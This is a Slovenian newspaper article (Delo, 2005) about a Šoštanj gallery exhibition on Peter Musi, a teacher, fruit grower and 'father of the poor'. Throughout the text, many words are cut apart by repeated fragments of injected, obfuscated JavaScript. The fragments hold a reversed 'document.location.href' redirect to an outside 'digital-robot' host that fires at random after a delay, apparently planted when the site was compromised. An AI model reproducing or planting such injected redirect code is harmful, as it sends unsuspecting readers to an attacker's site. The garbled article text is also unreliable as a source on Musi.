Delo – Sre, 14.09.2005  – Iz naših krajev

Razstava o naprednem dobrotniku

Šoštanj – V Mestni galeriji Šoštanj bo od jutri na ogled razstava o Petru Musiju, ki so jo pripravili ob 130-letnici njegove smrti ter ob občinskem prazniku. Musi (1799-1875) je bil krajevni učitelj, sadjar in umen kmetobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tovalec, hranilničar in bibliotekar, cerkovnik, občinski pisar in naklonjen revnim. V Šoštanju je služboval več kot 50 let. Razstavo sta pripravila Tone Ravnikar in Mateja Medved iz Muzeja Velenje.

Ravnikar: »Peter Musi se je še posebej angažiral pri ustanovitvi in delovanju nedeljske šole, za katero je leta 1832 napisal enega prvih učbenikov za nedeljske šole v slovenščini Navod v branje za mladost nedeljskih šol. Bil je tako kakovosten, da je prva naklada pošla že v prvem letu, zaradi česar so ga natobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to še večkrat ponatisnili. Intenzivno je gojil pouk slovenskega jezika in pouk v slovenskem jeziku …

Musija je za svojega sodelavca vzel Antobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}ton Martin Slomšek pri pisanju učbenikov za osnovne šole. Zanj je Musi sestavil več učil in učbenikov, najpomembnejši pa je gotobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tovo Vodba modrega kmetobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tovanja. Za svoje delo na šolskem področju je prejel več odlikovanj.« Musi je leta 1844 uvedel šolsko hranilnico, najverjetneje prvo na ozemlju avstrijske monarhije, ustanovil je šolsko knjižnico. Bil je tudi izjemen sadjar in vinogradnik. V starejših letih je v Šoštanju vodil Bratobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tovščino dejanske ljubezni do bližnjega in si s tem prislužil sloves očeta ubogih.